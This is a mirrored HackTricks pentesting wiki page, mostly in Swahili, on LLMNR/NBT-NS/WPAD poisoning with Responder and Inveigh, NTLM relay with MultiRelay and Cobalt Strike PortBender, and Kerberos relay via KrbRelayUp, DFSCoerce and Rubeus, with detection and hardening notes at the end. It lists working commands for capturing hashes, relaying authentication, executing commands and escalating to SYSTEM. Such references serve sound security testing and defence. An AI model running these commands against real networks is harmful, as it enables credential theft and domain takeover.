mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
235 lines
13 KiB
Markdown
235 lines
13 KiB
Markdown
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Network Protocols
|
|
|
|
### Local Host Resolution Protocols
|
|
|
|
- **LLMNR, NBT-NS, and mDNS**:
|
|
- Microsoft na mifumo mingine ya uendeshaji hutumia LLMNR na NBT-NS kwa ajili ya kutatua majina ya ndani wakati DNS inashindwa. Vivyo hivyo, mifumo ya Apple na Linux hutumia mDNS.
|
|
- Protokali hizi zinaweza kukabiliwa na udukuzi na spoofing kutokana na asili yao isiyo na uthibitisho, ya matangazo juu ya UDP.
|
|
- [Responder](https://github.com/lgandx/Responder) inaweza kutumika kuiga huduma kwa kutuma majibu yaliyotengenezwa kwa wenyeji wanaouliza protokali hizi.
|
|
- Taarifa zaidi juu ya kuiga huduma kwa kutumia Responder inaweza kupatikana [hapa](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
|
|
|
### Web Proxy Auto-Discovery Protocol (WPAD)
|
|
|
|
- WPAD inaruhusu vivinjari kugundua mipangilio ya proxy kiotomatiki.
|
|
- Ugunduzi unarahisishwa kupitia DHCP, DNS, au kurudi kwa LLMNR na NBT-NS ikiwa DNS inashindwa.
|
|
- Responder inaweza kuendesha mashambulizi ya WPAD, ikielekeza wateja kwa seva za WPAD zenye uharibifu.
|
|
|
|
### Responder for Protocol Poisoning
|
|
|
|
- **Responder** ni chombo kinachotumika kwa kuharibu LLMNR, NBT-NS, na mDNS maswali, ikijibu kwa kuchagua kulingana na aina za maswali, hasa ikilenga huduma za SMB.
|
|
- Inakuja ikiwa imewekwa awali katika Kali Linux, inayoweza kubadilishwa katika `/etc/responder/Responder.conf`.
|
|
- Responder inaonyesha hash zilizokamatwa kwenye skrini na kuziokoa katika saraka ya `/usr/share/responder/logs`.
|
|
- Inasaidia IPv4 na IPv6.
|
|
- Toleo la Windows la Responder linapatikana [hapa](https://github.com/lgandx/Responder-Windows).
|
|
|
|
#### Running Responder
|
|
|
|
- Kuendesha Responder kwa mipangilio ya default: `responder -I <Interface>`
|
|
- Kwa uchunguzi mkali zaidi (ikiwa na athari zinazoweza kutokea): `responder -I <Interface> -P -r -v`
|
|
- Mbinu za kukamata changamoto/jibu za NTLMv1 kwa urahisi wa kuvunja: `responder -I <Interface> --lm --disable-ess`
|
|
- Kuiga WPAD kunaweza kuanzishwa kwa: `responder -I <Interface> --wpad`
|
|
- Maombi ya NetBIOS yanaweza kutatuliwa kwa IP ya mshambuliaji, na proxy ya uthibitishaji inaweza kuanzishwa: `responder.py -I <interface> -Pv`
|
|
|
|
### DHCP Poisoning with Responder
|
|
|
|
- Kuiga majibu ya DHCP kunaweza kuharibu kwa kudumu taarifa za routing za mwathirika, ikitoa njia ya siri zaidi kuliko kuharibu ARP.
|
|
- Inahitaji maarifa sahihi ya usanidi wa mtandao wa lengo.
|
|
- Kuendesha shambulizi: `./Responder.py -I eth0 -Pdv`
|
|
- Njia hii inaweza kukamata hash za NTLMv1/2 kwa ufanisi, lakini inahitaji kushughulikia kwa makini ili kuepuka kuvuruga mtandao.
|
|
|
|
### Capturing Credentials with Responder
|
|
|
|
- Responder itaimarisha huduma kwa kutumia protokali zilizoelezwa hapo juu, ikikamata akidi (kawaida NTLMv2 Changamoto/Jibu) wakati mtumiaji anajaribu kuthibitisha dhidi ya huduma zilizoghushiwa.
|
|
- Jaribio linaweza kufanywa kushuka hadi NetNTLMv1 au kuzima ESS kwa urahisi wa kuvunja akidi.
|
|
|
|
Ni muhimu kutambua kwamba kutumia mbinu hizi inapaswa kufanywa kisheria na kwa maadili, kuhakikisha idhini sahihi na kuepuka kuvuruga au ufikiaji usioidhinishwa.
|
|
|
|
## Inveigh
|
|
|
|
Inveigh ni chombo kwa ajili ya wapimaji wa penetralia na timu za red, kilichoundwa kwa mifumo ya Windows. Kinatoa kazi zinazofanana na Responder, kikifanya udukuzi na mashambulizi ya mtu katikati. Chombo hiki kimebadilika kutoka kwa skripti ya PowerShell hadi binary ya C#, na [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) na [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kama matoleo makuu. Vigezo na maelekezo ya kina yanaweza kupatikana katika [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
|
|
|
Inveigh inaweza kuendeshwa kupitia PowerShell:
|
|
```bash
|
|
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
|
```
|
|
Au kutekelezwa kama binary ya C#:
|
|
```bash
|
|
Inveigh.exe
|
|
```
|
|
### NTLM Relay Attack
|
|
|
|
Shambulio hili linatumia vikao vya uthibitishaji vya SMB kupata mashine lengwa, likitoa shell ya mfumo ikiwa linafanikiwa. Masharti muhimu ni:
|
|
|
|
- Mtumiaji anayethibitisha lazima awe na ufikiaji wa Local Admin kwenye mwenyeji aliyehamasishwa.
|
|
- Saini ya SMB inapaswa kuzuiliwa.
|
|
|
|
#### 445 Port Forwarding and Tunneling
|
|
|
|
Katika hali ambapo utambulisho wa moja kwa moja wa mtandao hauwezekani, trafiki kwenye bandari 445 inahitaji kuelekezwa na kupitishwa. Zana kama [**PortBender**](https://github.com/praetorian-inc/PortBender) husaidia katika kuelekeza trafiki ya bandari 445 kwenye bandari nyingine, ambayo ni muhimu wakati ufikiaji wa admin wa ndani unapatikana kwa ajili ya kupakia madereva.
|
|
|
|
PortBender setup and operation in Cobalt Strike:
|
|
```bash
|
|
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
|
|
|
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
|
|
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
|
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
|
|
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
|
|
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
|
|
|
|
# Termination commands
|
|
beacon> jobs
|
|
beacon> jobkill 0
|
|
beacon> rportfwd stop 8445
|
|
beacon> socks stop
|
|
```
|
|
### Vifaa Vingine vya Shambulio la NTLM Relay
|
|
|
|
- **Metasploit**: Imewekwa na proxies, maelezo ya mwenyeji wa ndani na wa mbali.
|
|
- **smbrelayx**: Skripti ya Python kwa ajili ya kuhamasisha vikao vya SMB na kutekeleza amri au kuweka milango ya nyuma.
|
|
- **MultiRelay**: Chombo kutoka kwenye seti ya Responder ili kuhamasisha watumiaji maalum au watumiaji wote, kutekeleza amri, au kutoa hashes.
|
|
|
|
Kila chombo kinaweza kuwekewa mipangilio ili kufanya kazi kupitia proxy ya SOCKS ikiwa ni lazima, ikiruhusu mashambulizi hata na ufikiaji wa mtandao wa moja kwa moja.
|
|
|
|
### Uendeshaji wa MultiRelay
|
|
|
|
MultiRelay inatekelezwa kutoka kwenye _**/usr/share/responder/tools**_ directory, ikilenga IP au watumiaji maalum.
|
|
```bash
|
|
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
|
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
|
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|
|
|
# Proxychains for routing traffic
|
|
```
|
|
Hizi zana na mbinu zinaunda seti kamili ya kufanya mashambulizi ya NTLM Relay katika mazingira mbalimbali ya mtandao.
|
|
|
|
### Kulazimisha NTLM Logins
|
|
|
|
Katika Windows unaweza **kuwa na uwezo wa kulazimisha akaunti fulani zenye mamlaka kuthibitisha kwenye mashine zisizo za kawaida**. Soma ukurasa ufuatao kujifunza jinsi:
|
|
|
|
|
|
{{#ref}}
|
|
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
|
{{#endref}}
|
|
|
|
## Mashambulizi ya Kerberos Relay
|
|
|
|
**Mashambulizi ya Kerberos relay** yanaua **AP-REQ ticket** kutoka huduma moja na kuirudisha dhidi ya huduma ya pili inayoshiriki **funguo ya akaunti ya kompyuta sawa** (kwa sababu SPNs zote mbili ziko kwenye akaunti ya mashine `$`). Hii inafanya kazi ingawa **daraja za huduma za SPNs zinatofautiana** (mfano `CIFS/` → `LDAP/`) kwa sababu *funguo* inayofungua tiketi ni NT hash ya mashine, si SPN string yenyewe na SPN string si sehemu ya saini.
|
|
|
|
Tofauti na NTLM relay, hop inakabiliwa na *mwenyeji mmoja* lakini, ikiwa unalenga protokali inayokuruhusu kuandika kwenye LDAP, unaweza kuunganisha kwenye **Resource-Based Constrained Delegation (RBCD)** au **AD CS enrollment** na kupiga **NT AUTHORITY\SYSTEM** kwa risasi moja.
|
|
|
|
Kwa maelezo ya kina kuhusu shambulizi hili angalia:
|
|
|
|
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
|
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
|
|
|
- 1. **Misingi ya Kerberos**
|
|
|
|
| Token | Kusudi | Umuhimu wa Relay |
|
|
|-------|---------|-----------------|
|
|
| **TGT / AS-REQ ↔ REP** | Inathibitisha mtumiaji kwa KDC | haijaguswa |
|
|
| **Service ticket / TGS-REQ ↔ REP** | Imefungwa kwa **SPN** moja; imefungwa kwa funguo ya mmiliki wa SPN | inaweza kubadilishana ikiwa SPNs zinashiriki akaunti |
|
|
| **AP-REQ** | Mteja anatumia `TGS` kwa huduma | **tunachokiba na kurudisha** |
|
|
|
|
* Tiketi zimefungwa kwa **funguo iliyotokana na nenosiri la akaunti inayomiliki SPN**.
|
|
* **Authenticator** ndani ya AP-REQ ina alama ya muda ya dakika 5; kurudisha ndani ya dirisha hilo ni halali hadi cache ya huduma ionyeshe nakala.
|
|
* Windows mara chache huangalia ikiwa SPN string katika tiketi inalingana na huduma unayoingia, hivyo tiketi ya `CIFS/HOST` kawaida inafunguka vizuri kwenye `LDAP/HOST`.
|
|
|
|
- 2. **Nini kinapaswa kuwa kweli ili kuhamasisha Kerberos**
|
|
|
|
1. **Funguo iliyoshirikiwa:** SPNs za chanzo na lengo zinamilikiwa na akaunti moja ya kompyuta (kawaida kwenye seva za Windows).
|
|
2. **Hakuna ulinzi wa channel:** SMB/LDAP kusaini mbali na EPA mbali kwa HTTP/LDAPS.
|
|
3. **Unaweza kukamata au kulazimisha uthibitisho:** LLMNR/NBNS sumu, DNS spoof, **PetitPotam / DFSCoerce RPC**, AuthIP bandia, DCOM mbaya, n.k..
|
|
4. **Chanzo cha tiketi hakijatumika tayari:** unashinda mbio kabla ya pakiti halisi kufika au kuzuia kabisa; vinginevyo cache ya kurudisha ya seva inatoa Tukio 4649.
|
|
5. Unahitaji kwa namna fulani kuwa na uwezo wa kufanya **MitM katika mawasiliano** labda ukiwa sehemu ya kundi la DNSAmins kubadilisha DNS ya kikoa au kuwa na uwezo wa kubadilisha faili ya HOST ya mwathirika.
|
|
|
|
### Hatua za Kerberos Relay
|
|
|
|
- 3.1 **Fanya utafiti wa mwenyeji**
|
|
```powershell
|
|
# find servers where HTTP, LDAP or CIFS share the same machine account
|
|
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
|
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
|
Select Name,servicePrincipalName
|
|
```
|
|
- 3.2 **Anza msikilizaji wa relay**
|
|
|
|
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
|
```powershell
|
|
# one-click local SYSTEM via RBCD
|
|
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
|
```
|
|
`KrbRelayUp` inafunga **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** katika binary moja.
|
|
|
|
- 3.3 **Lazimisha uthibitisho wa Kerberos**
|
|
```powershell
|
|
# coerce DC to auth over SMB with DFSCoerce
|
|
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
|
```
|
|
DFSCoerce inafanya DC itume tiketi ya Kerberos `CIFS/DC01` kwetu.
|
|
|
|
- 3.4 **Relay the AP-REQ**
|
|
|
|
KrbRelay inachukua GSS blob kutoka SMB, inaiweka tena katika LDAP bind, na kupeleka kwa `ldap://DC01`—uthibitishaji unafanikiwa kwa sababu **funguo ile ile** inaiweka wazi.
|
|
|
|
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
|
|
```powershell
|
|
# (auto inside KrbRelayUp) manual for clarity
|
|
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
|
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
|
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
|
SCMUACBypass.exe
|
|
```
|
|
You now own **NT AUTHORITY\SYSTEM**.
|
|
|
|
|
|
### **More paths worth knowing**
|
|
|
|
| Vector | Trick | Why it matters |
|
|
|--------|-------|----------------|
|
|
| **AuthIP / IPSec** | Server bandia inatuma **GSS-ID payload** na SPN yoyote; mteja anajenga AP-REQ moja kwa moja kwako | Inafanya kazi hata kati ya subnets; mashine creds kwa default |
|
|
| **DCOM / MSRPC** | Resolver mbaya wa OXID inamfanya mteja kuidhinisha kwa SPN na bandari yoyote | Pure *local* priv-esc; inapita firewall |
|
|
| **AD CS Web Enroll** | Relay tiketi ya mashine kwa `HTTP/CA` na pata cheti, kisha **PKINIT** kutunga TGTs | Inapita ulinzi wa LDAP signing |
|
|
| **Shadow Credentials** | Andika `msDS-KeyCredentialLink`, kisha PKINIT na funguo za bandia | Hakuna haja ya kuongeza akaunti ya kompyuta |
|
|
|
|
### **Troubleshooting**
|
|
|
|
| Error | Meaning | Fix |
|
|
|-------|---------|-----|
|
|
| `KRB_AP_ERR_MODIFIED` | Tiketi funguo ≠ funguo ya lengo | Host/SPN mbaya |
|
|
| `KRB_AP_ERR_SKEW` | Saa > 5 min offset | Sanidi muda au tumia `w32tm` |
|
|
| LDAP bind fails | Signing enforced | Tumia njia ya AD CS au zima signing |
|
|
| Event 4649 spam | Huduma iliona Authenticator ya nakala | zuia au race pakiti ya asili |
|
|
|
|
|
|
### **Detection**
|
|
|
|
* Kuongezeka kwa **Event 4769** kwa `CIFS/`, `HTTP/`, `LDAP/` kutoka chanzo kimoja ndani ya sekunde.
|
|
* **Event 4649** kwenye huduma inaonyesha replay iligundulika.
|
|
* Kerberos logon kutoka **127.0.0.1** (relay kwa SCM ya ndani) ni ya kutia shaka—panga kupitia sheria ya Sigma katika nyaraka za KrbRelayUp.
|
|
* Angalia mabadiliko kwenye sifa za `msDS-AllowedToActOnBehalfOfOtherIdentity` au `msDS-KeyCredentialLink`.
|
|
|
|
## **Hardening**
|
|
|
|
1. **Lazimisha LDAP & SMB signing + EPA** kwenye kila seva.
|
|
2. **Gawanya SPNs** ili HTTP isiwe kwenye akaunti sawa na CIFS/LDAP.
|
|
3. Patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
|
|
4. Weka **`ms-DS-MachineAccountQuota = 0`** kuzuia kujiunga kwa kompyuta za uhalifu.
|
|
5. Onyesha kwenye **Event 4649** na logon za Kerberos za loopback zisizotarajiwa.
|
|
|
|
|
|
|
|
## References
|
|
|
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
|
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|